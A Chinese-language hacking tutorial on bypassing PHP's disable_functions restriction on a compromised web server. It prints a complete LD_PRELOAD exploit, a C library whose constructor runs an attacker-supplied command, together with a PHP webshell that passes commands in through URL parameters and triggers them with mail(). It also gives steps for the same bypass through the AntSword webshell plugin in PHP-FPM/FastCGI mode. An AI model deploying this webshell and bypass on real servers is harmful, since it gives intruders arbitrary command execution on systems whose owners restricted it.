绕过disable_functions实战

0x01 LD_PRELOAD

前提:putenv没有禁用

evil.c上传至目标服务器并编译为evil.so

gcc -shared -fPIC evil.c -o evil.so

evil.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

上传test.php至目标服务器,访问时传入三个参数命令、输出文件(需存在于服务器上,没有不会创建)、so文件。执行成功后,会在输出文件中看到命令执行结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/test.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/evil.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

参考链接

0x02 php-fpm

使用蚁剑 bypass_disable_functions插件。

前提:phpinfo中的server api是FPM/FastCGI,并且需要知道FPM/FCGI Address,也就是php-cgi-xx.sock,可以去猜测。蚁剑默认的地址不一定是对的。

image

在插件市场下载插件,然后右键选择:

image

image

选择Fastcgi/PHP_FPM模式,填写PPM/FCGI 地址,然后点击开始即可:

image

之后再用蚁剑连接上传成功的.antproxy.php文件地址,就可以在虚拟终端执行命令了。

更多姿势